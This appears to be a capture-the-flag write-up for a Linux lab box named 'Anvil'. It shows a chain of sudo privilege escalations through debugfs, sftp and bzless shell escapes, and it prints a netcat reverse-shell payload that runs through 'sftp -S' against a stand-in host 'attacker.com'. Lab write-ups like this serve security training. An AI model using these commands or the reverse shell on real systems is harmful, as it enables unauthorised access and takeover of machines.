root💀bl4ck4non-sec:~#

Hack. Eat. Sleep. Repeat!!!

View on GitHub

Box: Anvil

Level: Intermediate

OS: Linux


Lets get started

image

Lets connect to the machine

command:nc -t 10.0.40.10 1337

image

cool we are connected to the target.

Running the sudo -l command

image

We can see that user silver can run the binary debugfs with sudo privileges. This is what we call Misconfigured SUDO Privileges

Checking GTFOBins, I found this

image

So, to escalate our privileges

command:sudo -u silver /sbin/debugfs

image

Good, now run this !/bin/sh

image

Nice, we were able to successfully escalate our privileges to user silver

Now, lets further escalate our privileges

Running the sudo -l command again,

image

So, user gold has sudo permissions to run the binary sftp

Checking GTFOBins, I found this

image

So we can try to do something like this

command:HOME=blackanon@attacker.com

image

cool, now run this sudo -u gold /usr/bin/sftp $HOST

image

oops, we can see that it’s ssh running here. So, I decided to trigger the help menu

image

We can use that switch to run a program, this means we can try to execute a reverse shell

Payload

#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f

Save this in a .sh file and send it over to the target

image

Cool, now lets execute that command again, but this time ensure you have your netcat listener set up

command

chmod +x bash.sh
HOST=blackanon@attacker.com
sudo -u gold /usr/bin/sftp -S /tmp/bash.sh $HOST

image

It worked, we got a shell as user gold.

Further escalating our privileges

Running the sudo -l command again

image

We see that user ETSCTF can run the binary bzless with sudo privileges

To do this,

command:sudo -u ETSCTF /bin/bzless

image

It requires a file parameter, what if we tried something like this

command:sudo -u ETSCTF /bin/bzless /bin/bash

image

We get this, so just run this !/bin/sh

image

Hit the enter key,

image

It worked hehe.

We have successfully completed this exercise😎

That will be all for today

Back To Home